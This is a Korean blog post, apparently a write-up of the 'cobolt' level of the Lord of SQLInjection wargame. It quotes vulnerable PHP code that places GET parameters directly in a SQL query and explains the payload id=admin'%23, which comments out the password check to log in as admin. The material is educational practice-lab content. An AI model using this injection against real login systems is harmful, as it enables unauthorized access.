Notice
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

blacksalamander

cobolt 본문

Lord of SQLInjection

cobolt

검은도롱뇽 2020. 2. 16. 02:37

Source Code

 

 

 

Analysis

 

Source Code를 보았을 때 저번 문제인 gremlin과 매우 유사하게 보인다.

Source Code에 대해 자세한 설명은 하지 않고 문제를 해결하기 위해 중요한 부분만 다루도록 한다.

 

Source Code에 대한 자세한 설명은 아래 링크로 이동하길 바란다.

<?php

  ...
  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
  
  ...
  
  if($result['id'] == 'admin') solve("cobolt");
  
  ...
  
  
?>

id와 pw를 GET 방식으로 입력하며 정규신 패턴은 prob, _, ., (, )이며 대소문자 구분이 없다.

 

query 문을 해석하면, prob_cobolt 테이블에서 id가 GET 방식으로 입력한 id이고 pw가 GET 방식으로 방식으로 입력한 pw의 해시값일 때 id를 출력하라 라고 볼 수 있다.

 

결정적으로, id가 admin이어야 한다.

 

md5() 함수는 문자열의 MD5 해시를 계산하는 함수이며 자세한 설명은 아래 링크로 이동하길 바란다.

 

 

Injection

 

query 문의 where 절을 id가 admin일 때로 만들어주면 문자열이 admin인 id를 출력할 것으로 예상된다.

 

https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin'%23

URL에 ?id=admin'%23 을 입력한다.

 

query = "select id from prob_cobolt where id='admin'#' and pw=md5('')"

# 뒤로는 모두 주석이 되므로

id가 admin일 때 prob_cobolt 테이블로부터 문자열이 admin인 id를 출력하게 된다.

 

 

 

 

'Lord of SQLInjection' 카테고리의 다른 글

goblin  (0) 2020.02.22
gremlin  (0) 2020.02.15